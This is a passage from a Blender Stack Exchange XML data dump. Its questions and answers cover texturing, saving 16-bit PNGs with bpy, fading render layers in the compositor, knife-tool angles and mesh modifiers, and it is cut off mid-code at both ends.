ContentLicense="CC BY-SA 3.0" />
  <row Id="27315" PostTypeId="1" CreationDate="2015-03-18T12:25:36.180" Score="5" ViewCount="1128" Body="&lt;p&gt;I am following the &quot;noob to pro&quot; wiki tutorial, and in the basic texturing part, when I apply a material and a texture to the default cube, everything works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, however, I add a new cube and create a new material and texture here, the result is all broken up and odd-looking. It seems as if it's treating my cube's faces as a pair of triangles instead of just the square face of a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="13237" LastEditorUserId="3710" LastEditDate="2015-03-18T12:43:56.013" LastActivityDate="2015-03-19T03:52:05.683" Title="Why does textures work with the default cube, but not with any new cube I add?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="27317" PostTypeId="1" AcceptedAnswerId="27323" CreationDate="2015-03-18T15:23:19.583" Score="5" ViewCount="2173" Body="&lt;p&gt;I'm trying to bake displacements using script but need to save the result using a 16 bit image format (such as PNG-16). How can I change the color-depth setting using script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img = bpy.data.images.new(name=&quot;depthmap&quot;, width=imageSize,height=imageSize,alpha=False, float_buffer=True)&#xA;img.colorspace_settings.name = 'Linear'&#xA;# bake() #implemented in separate function&#xA;img.file_format = 'PNG'&#xA;# need to set to 16-bit here&#xA;img.filepath_raw = &quot;my_new_bake.png&quot;&#xA;img.save() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13221" LastEditorUserId="2217" LastEditDate="2015-03-18T18:05:38.607" LastActivityDate="2015-03-18T18:05:38.607" Title="Saving a 16 bit PNG using script" Tags="&lt;python&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27318" PostTypeId="2" ParentId="27125" CreationDate="2015-03-18T15:35:22.007" Score="10" Body="&lt;p&gt;Generally speaking, multithreading for physics simulations is only possible for part of the calculations and often quite difficult to implement. This has two main reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simulations have to run sequentially: you cannot calculate the results of frame N before you have the results of frame N-1. This means you cannot split up frames across many workers.&lt;/li&gt;&#xA;&lt;li&gt;Elements of a physical system often interact a lot, through forces, collisions and the like. This makes it also difficult to divide the work spatially, giving subsets of grid cells, vertices, hair strands etc. to separate workers. Processes have to exchange information on stepping results frequently, reducing the efficiency of multithreading. Even where such division of work is possible, the process of dividing elements into suitable packages is far from simple (see e.g. section 4 in &lt;a href=&quot;http://graphics.pixar.com/library/CurlyHairB/paper.pdf&quot;&gt;this paper on hair sim in 'Brave'&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By comparison, rendering is ideally suited for threading, because&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All the data is available in each frame, so splitting by frames is possible.&lt;/li&gt;&#xA;&lt;li&gt;Samples (in a raytracer) are &lt;a href=&quot;http://en.wikipedia.org/wiki/Superposition_principle&quot;&gt;independent from each other&lt;/a&gt;, so tiling is also possible.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="436" LastActivityDate="2015-03-18T15:35:22.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27319" PostTypeId="1" AcceptedAnswerId="27322" CreationDate="2015-03-18T16:50:39.100" Score="5" ViewCount="3096" Body="&lt;p&gt;Instead of editing the alpha for each material, it would be quicker for me in this case to be able to fade out the entire render layer in the node compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;SetAlpha&quot; node seems perfect for this, but it adds black to the alpha channel that I don't want. The background needs to remain transparent, and not be black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my simple setup (without the SetAlpha node). How can I fade the &quot;bearing&quot; render layer to zero opacity, leaving only the &quot;freestyle&quot; layer on screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a6HfD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I should note that I can't just switch the inputs on the Alpha Over node and use the &quot;factor&quot; to fade out the &quot;bearing&quot; layer, because the &quot;freestyle&quot; layer needs to remain over the top of the &quot;bearing&quot; layer.&lt;/p&gt;&#xA;" OwnerUserId="6384" LastActivityDate="2015-03-18T18:09:47.390" Title="Fade a render layer to transparent" Tags="&lt;nodes&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27320" PostTypeId="1" AcceptedAnswerId="27663" CreationDate="2015-03-18T17:13:55.503" Score="10" ViewCount="3895" Body="&lt;p&gt;Instead of the constrained 45 degrees that happens when you press &lt;kbd&gt;C&lt;/kbd&gt;, is there a specific angle I can get for example 35 degrees instead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently cut at 45 degrees in the attached image and I need it to be 35.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fnNzJ.png&quot; alt=&quot;model cut at 45deg&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastEditorUserId="2217" LastEditDate="2015-06-01T23:44:13.527" LastActivityDate="2015-06-01T23:44:13.527" Title="Is there any way to get a specific angle using the knife tool?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;knife-tool&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27321" PostTypeId="2" ParentId="27319" CreationDate="2015-03-18T17:15:42.163" Score="4" Body="&lt;p&gt;Probably the most effective way to fade in alpha is to use the alpha over node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image below, the top color socket is set to completely transparent (I'll explain how to do this further down), and the image is put into the bottom color socket. The factor (the highlighted input) controls the opacity. 0 is 100% transparent, 1 is 100% opaque. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTuTS.png&quot; alt=&quot;alpha over node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the other way around if you switch the color inputs to make this image go in the top and the transparency in the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the color input completely transparent, just use the alpha slider in the color picker drop down. Make sure it's set to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2V0Sp.png&quot; alt=&quot;color picker with alpha set to 0&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="2217" LastEditDate="2015-03-18T18:09:47.390" LastActivityDate="2015-03-18T18:09:47.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27322" PostTypeId="2" ParentId="27319" CreationDate="2015-03-18T17:20:31.383" Score="4" Body="&lt;p&gt;I would personally use a 'Set Alpha' &lt;em&gt;and&lt;/em&gt; a 'Mix' node in-between the layer you want to fade out and the 'Alpha Over' node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HBmyv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you animate the 'Fac' of the 'Mix' node (by inserting keyframes - hovering your cursor over the slider and pressing &lt;kbd&gt;I&lt;/kbd&gt;) you will mix between the original alpha of the render layer (when 'fac' slider is 0) and a completely black alpha (when slider is 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iggLf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-03-18T17:36:41.613" LastActivityDate="2015-03-18T17:36:41.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27323" PostTypeId="2" ParentId="27317" CreationDate="2015-03-18T18:05:03.927" Score="6" Body="&lt;p&gt;You can not directly assign the color depth on the image. However, you can make a scene and set its &lt;code&gt;render.image_settings.color_depth&lt;/code&gt;. Then use &lt;code&gt;save_render()&lt;/code&gt; with that scene to save the image with the color depth.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Create new scene to set color depth on it&#xA;scene = bpy.data.scenes.new('scene name')&#xA;settings = scene.render.image_settings&#xA;settings.color_depth = '16'&#xA;settings.file_format = 'PNG'&#xA;&#xA;# Create new image and save with scene&#xA;img = bpy.data.images.new('name', width, height)&#xA;img.save_render('filepath', scene)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-18T18:05:03.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27324" PostTypeId="2" ParentId="27308" CreationDate="2015-03-18T18:51:46.510" Score="5" Body="&lt;p&gt;With a python script you could add handlers to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.app.handlers.render_init&lt;/code&gt; &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.app.handlers.html#bpy.app.handlers.render_init&quot;&gt;API Reference&lt;/a&gt;&lt;br&gt;&#xA;&lt;code&gt;bpy.app.handlers.render_complete&lt;/code&gt; &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.app.handlers.html#bpy.app.handlers.render_complete&quot;&gt;API Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then search through all selectable objects in the 3D view replacing them with a high poly version if one is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.selectable_objects&lt;/code&gt; &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.context.html#bpy.context.selectable_objects&quot;&gt;API Reference&lt;/a&gt;&lt;br&gt;&#xA;&lt;code&gt;bpy.data.objects&lt;/code&gt; &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.BlendData.html#bpy.types.BlendData.objects&quot;&gt;API Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could find a matching object (by name in the format you described) with code similar to the example provided&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def findHighPoly(obj):&#xA;    if obj.name[:3] == &quot;low&quot;:&#xA;        for o in bpy.data.objects:&#xA;            if o.name[:4] == &quot;high&quot; and o.name[4:] == obj.name[3:]:&#xA;                return o&#xA;    else:&#xA;        return null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.context.selectable_object&lt;/code&gt; might not be the best fit for you.&lt;/li&gt;&#xA;&lt;li&gt;It might be better (consider you'll be switching back after rendering) to store the relationships you find inside of an array.&lt;/li&gt;&#xA;&lt;li&gt;If the handlers don't work, you could always make some operators along with some hotkeys to trigger the low &gt; high poly and high &gt; low poly transition.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10985" LastActivityDate="2015-03-18T18:51:46.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27325" PostTypeId="1" CreationDate="2015-03-18T19:02:52.690" Score="0" ViewCount="203" Body="&lt;p&gt;I have created a quick set up to demonstrate my question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red cylinder needs to rotate around the small blue box and the bottom of the cylinder must remain in the same x,y,z, location.&#xA;The cylinder must also rotate with respect to the small grey box. The top of the cylinder needs to remain attached to the grey box. The grey box rotates around the larger grey box in the center. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5djfw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I rotate the cylinder at the blue box with the same rotation (or even a corrected rotation) the cylinder does not remain attached to the grey box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the small grey box to rotate at 1 degree per frame. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1fYZN.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I keep the cylinder attached to the small grey box and the small blue box and have the cylinder rotate with the same rotational speed as the grey box?&lt;/p&gt;&#xA;" OwnerUserId="10975" LastActivityDate="2015-03-18T19:53:48.727" Title="Pivoting an object with respect to two objects" Tags="&lt;animation&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27326" PostTypeId="1" AcceptedAnswerId="27355" CreationDate="2015-03-18T19:23:11.313" Score="8" ViewCount="4175" Body="&lt;p&gt;I need to generate a mesh where I can take the wireframe edges of the mesh and apply a shape to them so that the resulting mesh is long rods across those wireframe edges with the cross-section being of the shape I applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is similar to what I would like to do but instead of this, I would like it with a cylinder (or any shape if possible) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B0WnF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rather like gandalf3's answer above the one from Coburn as I need to export this effect to Unity, so I rather have a real mesh above a visualization in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I include both as correct answers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2838/create-a-rounded-wireframe&quot;&gt;Create a rounded wireframe?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/3149/how-can-i-render-an-edge-only-mesh-as-solid-lines&quot;&gt;How can I render an edge only mesh as solid lines?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11264" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-03-19T06:04:11.557" Title="Tube around mesh wireframe" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27327" PostTypeId="2" ParentId="27301" CreationDate="2015-03-18T19:24:38.503" Score="5" Body="&lt;p&gt;This is now possible as of &lt;a href=&quot;https://developer.blender.org/rBaff4aa173a78c7bbd7d08666f995d48ea18cdb50&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt;. Will be in 2.75 or &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;any recent development build&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, enable &lt;em&gt;Sync Selection&lt;/em&gt;, switch to face select mode (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;), and enjoy ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bps1a.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-03-18T23:20:14.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27328" PostTypeId="2" ParentId="27325" CreationDate="2015-03-18T19:53:48.727" Score="1" Body="&lt;p&gt;I actually figured this problem out. I selected the cylinder. Entered into edit mode. Then selected the top vertices of the cylinder. I hit &quot;CTRL H&quot; and selected &quot;Hook To New Object&quot;. This created an empty which I then parented to the floating grey box using &quot;CTRL P&quot;. I deselected all and then selected the bottom vertices of the cylinder. I hooked these to a new object also which I parented to the blue box. This way if the blue or grey box moves the red cylinder is attached to both of them. &lt;/p&gt;&#xA;" OwnerUserId="10975" LastActivityDate="2015-03-18T19:53:48.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27329" PostTypeId="1" AcceptedAnswerId="27331" CreationDate="2015-03-18T19:58:29.643" Score="8" ViewCount="1887" Body="&lt;p&gt;I'm creating a logo reveal for my business as it's in need of one, however we want the background to feature a polygon pattern that raps around the entire scene like a sphere. It must not be a texture either as we want it to be 3 dimensional. I would create one off the bat by adjusting some vertices but it doesn't look authentic enough. I've got a picture of the sort of pattern we want but we'd have it on a much larger scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.superbwallpapers.com/vector/blue-polygon-28641/&quot;&gt;http://www.superbwallpapers.com/vector/blue-polygon-28641/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a modifier or generator that can produce such shapes?&lt;/p&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2020-10-21T15:35:51.843" Title="How do I make a Polygon Pattern in Blender?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27330" PostTypeId="2" ParentId="27329" CreationDate="2015-03-18T20:09:00.403" Score="7" Body="&lt;p&gt;To your sphere add these modifiers.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/deform/displace.html#displace-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Displace&lt;/a&gt; modifier with a cloud texture as the texture.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/generate/decimate.html#decimate-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decimate&lt;/a&gt; modifier, set to &lt;em&gt;Collapse&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;These are the modifiers on my grid object.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KIZXG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the result.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Bcfso.png&quot; alt=&quot;result&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-21T15:35:46.613" LastActivityDate="2020-10-21T15:35:46.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27331" PostTypeId="2" ParentId="27329" CreationDate="2015-03-18T20:09:35.817" Score="10" Body="&lt;p&gt;I'd use a combination of the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/deform/displace.html#displace-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Displace&lt;/em&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/generate/decimate.html#decimate-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Decimate&lt;/em&gt;&lt;/a&gt; modifiers:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cuCfo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the above image I used a UV sphere, but you'll notice some stretching at the poles. For this reason I found a icosphere with a high-ish amount of subdivisions (I used 6) works a bit better. I did not use any subsurf for the icosphere.&lt;/p&gt;&#xA;&lt;p&gt;For the displace texture I used &lt;em&gt;Clouds&lt;/em&gt; with a fairly small size (the size you want may vary depending on the size of your object and polygons):&lt;/p&gt;&#xA;&lt;p&gt;To animate it, set the displace modifier to use another object for the texture coordinates. Add an empty at the center of the sphere and specify it in the displace modifier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PiJZh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then animate the scale of the empty:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/CompleteSentimentalDunlin&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/CompleteSentimentalDunlin.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.90/sculpt_paint/sculpting/tool_settings/dyntopo.html#dyntopo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic topology sculpting&lt;/a&gt; can be used to create this effect with more control, but it may not be very convenient for animation.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-21T15:35:51.843" LastActivityDate="2020-10-21T15:35:51.843" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27332" PostTypeId="2" ParentId="27329" CreationDate="2015-03-18T20:12:40.820" Score="3" Body="&lt;p&gt;You should use the &lt;em&gt;Displace&lt;/em&gt; and &lt;em&gt;Triangulate&lt;/em&gt; modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by adding (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;) and subdividing (&lt;kbd&gt;W&lt;/kbd&gt;) a &lt;em&gt;Grid&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bVNMR.gif&quot; alt=&quot;Add Grid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add a Triangulate modifier, and then a Displace modifier. The triangulate modifier will make your mesh act as if it were created with triangular faces, and the Displace will move random vertices to give those faces a random slope/shadow. You may need to subdivide again to get the right size, or adjust the strength to get the right slope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgTIL.gif&quot; alt=&quot;Add Modifiers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now just make sure the lighting setup is as you want, and you are good to go. I noticed that a Sun Lamp at a bit of an angle seemed to make it much nicer. You can of course put the background on another Render-layer if it interferes with the lighting on the main subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nlrnQ.jpg&quot; alt=&quot;Final Result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-18T20:38:30.077" LastActivityDate="2015-03-18T20:38:30.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27333" PostTypeId="1" CreationDate="2015-03-18T20:27:15.820" Score="3" ViewCount="1681" Body="&lt;p&gt;Continuing on with the same logo reveal. The depth of field in Blender results in this horrible effect around the edge. I've seen this sort of blurring a lot in games, Assassin's Creed is quite famous for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The focused object shouldn't make this strange outline and I need the edges to look properly blurred and transition nicely into whatever's behind it without this strange effect seen around the square in the top right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for the low shading samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lJJ1D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FPIEy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just tried it in Cycles. The lighting looks a lot better as usual however the same effect is still happening. I've tried both 'radius' and 'f/stop'. Radius being the same and f/stop creating this crazy blur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radius&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MCLo6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;f/stop&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pLQhp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blurred cubes still have sharp edges alongside a blurry outline. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/N3TL5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="599" LastEditDate="2015-03-18T22:08:43.487" LastActivityDate="2015-04-11T21:06:54.280" Title="What causes these artifacts around the edges of objects when using the defocus node?" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="27334" PostTypeId="1" AcceptedAnswerId="27338" CreationDate="2015-03-18T20:40:44.407" Score="9" ViewCount="3970" Body="&lt;p&gt;In Blender's I can add/subtract &lt;code&gt;mathutils.Vector&lt;/code&gt; without any problems.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vec3 = vec1 - vec2  # OK return a vector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But! It's paint to multiply/divide vector. For example if i multiply vectors i'll get a float.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vec3 = vec1 * vec2  # ERROR return a float&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a method to multiply/divide vectors correctly? like &lt;code&gt;vec1.mult(vec2)&lt;/code&gt; which exists in other game engines.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="55" LastEditDate="2015-03-27T20:45:17.127" LastActivityDate="2015-03-27T20:45:17.127" Title="How to perform element-wise multiplication with mathutils.Vector?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27335" PostTypeId="1" AcceptedAnswerId="27339" CreationDate="2015-03-18T21:01:13.410" Score="2" ViewCount="344" Body="&lt;p&gt;I'm making a first person view game.  I have an invisible collision body that I use for interaction with other objects.  I have it so that the player can &quot;shoot&quot; cubes.  How ever, if the player looks down and tries to shoot (for example if an enemy is coming close) the bullet gets bounced off the collision body for the character.  Is it possible to make it so that my bullets can collide with everything except for the collision body?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-03-18T21:32:21.533" Title="Invisible Physics to Certain Objects in the BGE" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27336" PostTypeId="1" CreationDate="2015-03-18T21:04:34.657" Score="0" ViewCount="121" Body="&lt;p&gt;I saw something familiar on &lt;a href=&quot;http://commons.wikimedia.org/wiki/File:Blender3d_NormalKoordinates.jpg&quot; rel=&quot;nofollow&quot;&gt;wikipedia &lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display 5 coordinate systems at the same time but Blender only shows 1 coordinate system for the active object/vertex etc.&lt;/p&gt;&#xA;" OwnerUserId="2248" LastActivityDate="2015-03-18T21:04:34.657" Title="Can you display multiple coordinate system at the same time?" Tags="&lt;coordinates&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27337" PostTypeId="1" AcceptedAnswerId="27340" CreationDate="2015-03-18T21:07:59.253" Score="3" ViewCount="896" Body="&lt;p&gt;I'm trying to get a car to crash into a wall after a couple curves. I've followed Jonathan Lampel's tutorial on &lt;a href=&quot;http://www.blender.org/support/tutorials/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/support/tutorials/&lt;/a&gt; which worked well using keyframes for animation. But is there a way to use the &quot;Follow Path&quot; Constraint and get the same effect? Or do I need to work in keyframes instead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I move to frame 70 (when object reaches end of path), keyframed the animation check box, moved to frame 71, unchecked the animation and keyframed the checkbox again (like done in the tutorial). When I run the animation the object goes down the path like I want, but as soon as hits frame 71, the object disappears and reappears really far away and just falls forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone able to help me out? Don't want to make the whole thing with keyframes but can do that if no better way. &lt;/p&gt;&#xA;" OwnerUserId="6013" LastActivityDate="2015-03-18T21:57:17.767" Title="How to allow Rigid Body Physics take over after follow path constraint?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27338" PostTypeId="2" ParentId="27334" CreationDate="2015-03-18T21:14:08.270" Score="7" Body="&lt;p&gt;After a little bit of research, I concluded that the closest you can get is to use &lt;code&gt;mathutils.Vector.cross()&lt;/code&gt; to do a cross multiplication of two vectors, or &lt;code&gt;mathutils.Vector.dot()&lt;/code&gt; for dot multiplication; this info was gathered from &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/mathutils.html#mathutils.Vector&quot; rel=&quot;nofollow&quot;&gt;The API documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't seem to be the behavior you want - it seems you want to multiply the individual components of the vector, for which you can use something similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def mult(vec, vec2):&#xA;    temp = []&#xA;&#xA;    for x, i in enumerate(vec):&#xA;        temp.append(i * vec2[x])&#xA;&#xA;    return 